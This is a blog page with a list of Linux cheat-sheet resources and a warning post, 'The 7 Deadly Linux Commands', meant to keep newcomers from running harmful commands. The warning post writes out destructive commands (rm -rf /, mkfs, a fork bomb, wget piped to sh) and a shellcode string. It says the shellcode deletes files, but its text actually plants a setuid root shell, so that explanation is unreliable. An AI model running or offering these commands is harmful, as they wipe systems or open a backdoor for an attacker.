Showing posts with label scripting. Show all posts
Showing posts with label scripting. Show all posts

Thursday, August 18, 2011

10 Essential UNIX/Linux Command Cheat Sheets


Linux has become so idiot proof nowadays that there is less and less need to use the command line. However, the commands and shell scripts have remained powerful for advanced users to utilize to help them do complicated tasks quickly and efficiently.

To those of you who are aspiring to become a UNIX/Linux guru, you have to know loads of commands and learn how to effectively use them. But there is really no need to memorize everything since there are plenty of cheat sheets available on the web and on books. To spare you from the hassles of searching, I have here a collection of 10 essential UNIX/Linux cheat sheets that can greatly help you on your quest for mastery:


UNIX Tutorial for Beginners
This is a quick and easy UNIX/Linux tutorial page that is aimed at beginners. It gives a subtle introduction to some of the most important UNIX/Linux commands.



Learning the Shell
Aside from showing you how to apply the most basic UNIX/Linux commands, “Learning the Shell’ will teach you the utmost importance of using the command line.



Learn UNIX in 10 Minutes
From the page: This is something that I had given out to students (CAD user training) in years past. The purpose was to have on one page the basics commands for getting started using the UNIX shell (so that they didn't call me asking what to do the first time someone gave them a tape).



FOSSwire Unix/Linux Command Cheat Sheet
A one page UNIX/Linux command reference that you can download in PDF format. You can easily print it, and then paste it on your wall.

UNIX Toolbox
From the page: This document is a collection of Unix/Linux/BSD commands and tasks which are useful for IT work or for advanced users. This is a practical guide with concise explanations; however the reader is supposed to know what s/he is doing.


Practical Linux Command Line Reference
This is another handy one-page cheat sheet for common command line operations. All of the commands have been tested on Fedora and Ubuntu.


How to Look Like a UNIX Guru
From the page: This lecture takes you through the basic commands and then shows you how to combine them in simple patterns or idioms to provide sophisticated functionality like histogramming. This lecture assumes you know what a shell is and that you have some basic familiarity with UNIX.



A Directory of Linux Commands (in alphabetical order)
From the O'reilly book “Linux in a Nutshell, 5th Edition”, it features an alphabetical list of 687 commands and a short description on each one of them.

Linux Security Quick Reference Guide
This quick reference guide (in PDF) will serve as your aid on improving the security of your Linux system. It provides some pointers to more in-depth security information that could help you become a good UNIX/Linux system administrator.


Bash Programming Cheat Sheet
From the page: A quick cheat sheet for programmers who want to do shell scripting. This is not intended to teach programming, etc. but it is intended for someone who knows one programming language to begin learning about bash scripting.

nb : actually I (cap-cay) just ever used the last, bash scriping guide, the other not yet. :)

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The 7 Deadly Linux Commands


If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.


1. Code:

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:
wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:
mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.

There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.

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